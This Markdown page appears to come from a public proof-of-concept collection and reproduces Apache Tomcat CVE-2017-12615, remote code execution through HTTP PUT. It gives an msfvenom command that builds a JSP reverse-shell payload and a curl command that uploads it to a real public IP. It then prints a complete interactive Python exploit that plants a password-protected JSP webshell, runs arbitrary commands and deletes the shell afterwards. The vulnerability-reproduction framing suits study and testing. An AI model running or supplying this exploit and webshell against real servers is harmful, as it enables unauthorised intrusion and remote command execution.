Awesome-POC/Web服务器漏洞/Apache Tomcat 远程代码执行漏洞 CVE-2017-12615.md
2022-12-06 17:17:54 +08:00

169 lines
5.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Apache Tomcat 远程代码执行漏洞 CVE-2017-12615
## 漏洞描述
2017年9月19日Apache Tomcat官方确认并修复了两个高危漏洞其中就有远程代码执行漏洞(CVE-2017-12615)。当 启用了HTTP PUT请求方法例如将 readonly 初始化参数由默认值设置为 false攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
## 漏洞影响
```
Apache Tomcat 7.0.0 - 7.0.81
```
## 环境搭建
```plain
https://github.com/vulhub/vulhub.git
cd vulhub/tomcat/CVE-2017-12615
docker-compose up -d
```
访问 http://xxx.xxx.xxx.xxx:8080/ 正常即可
![image-20220209121152909](./images/202202091211024.png)
## 漏洞复现
漏洞产生的主要原因来自于**conf/web.xml**文件配置错误,readonly开启了false,导致可以使用**PUT/DELETE**请求方法操作文件
![image-20220209121208347](./images/202202091212466.png)
**msf**生成一个**jsp**木马
```plain
msfvenom -p java/jsp_shell_reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=9999 -f raw > shell.jsp
```
利用PUT方法上传木马
```plain
curl -v -X PUT --data-binary @shell.jsp "http://81.68.139.186:8080/shell.jsp/"
```
- 注意 http://xxx.xxx.xxx.xxx:8080/shell.jsp/中的最后一个"/"字符很重要
发现成功上传木马文件
![image-20220209121223275](./images/202202091212346.png)
访问文件即可反弹一个shell
![image-20220209121238642](./images/202202091212721.png)
也可以用**DELETE**请求方法删除文件
![image-20220209121258159](./images/202202091212228.png)
## 漏洞POC
- 代码只用于检测漏洞反弹shell参照上方
```python
#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from : http://wiki.peiqi.tech
import hashlib
import sys
import requests
import random
import re
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: Apache Tomcat 7.0.0 - 7.0.81 \033[0m')
print('+ \033[36m使用格式: python3 CVE-2017-12615.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx:8080 \033[0m')
print('+ \033[36mCmd >>> shell \033[0m')
print('+ \033[36mCmd >>> exit(退出交互并删除webshell) \033[0m')
print('+------------------------------------------')
def POC_1(target_url):
md5_filename = str(random.randint(1,999)).encode("utf-8")
file_name = hashlib.md5(md5_filename).hexdigest()
vuln_put_url = target_url + "/" + file_name + ".jsp/"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
data = """
<%
if("peiqi".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[1024];
while((a=in.read(b))!=-1){
out.println(new String(b));
}
}
%>
"""
try:
response = requests.request("PUT", url=vuln_put_url, data=data, headers=headers, timeout=30)
if response.status_code == 201 or response.status_code == 201:
print("\033[32m[o] 含有CVE-2017-12615漏洞成功上传shell文件名为{}.jsp,响应为{}\033[0m".format(file_name,response.status_code))
return file_name
else:
print("\033[31m[x] 漏洞利用失败,PUT方法关闭 \033[0m")
sys.exit(0)
except:
print("\033[31m[x] 漏洞利用失败,PUT方法关闭 \033[0m")
sys.exit(0)
def POC_2(target_url, file_name, cmd):
vuln_cmd_url = target_url + "/" + file_name + ".jsp?" + "pwd=peiqi&cmd=" + cmd
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
try:
response = requests.get(url=vuln_cmd_url, headers=headers,timeout=30)
if response.status_code == 200:
print("\033[32m[o] 成功执行命令,响应为:\n\033[0m",response.text)
else:
print("\033[31m[x] 漏洞利用失败,命令无法执行 \033[0m")
sys.exit(0)
except:
print("\033[31m[x] 漏洞利用失败,命令无法执行 \033[0m")
sys.exit(0)
def POC_3(target_url, file_name):
vuln_delect_url = target_url + "/" + file_name + ".jsp/"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
try:
response = requests.request("DELETE", url=vuln_delect_url, headers=headers, timeout=30)
if response.status_code == 200 or 201:
print("\033[32m[o] 成功删除shell文件名为{}.jsp,响应为{}\033[0m".format(file_name,response.status_code))
return file_name
else:
print("\033[31m[x] 删除失败 \033[0m")
sys.exit(0)
except:
print("\033[31m[x] 删除失败 \033[0m")
sys.exit(0)
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
file_name = POC_1(target_url)
while True:
cmd = input("\033[35mCmd >>> \033[0m")
if cmd == "exit":
POC_3(target_url, file_name)
sys.exit(0)
else:
POC_2(target_url, file_name, cmd)
```
![image-20220209121321777](./images/202202091213849.png)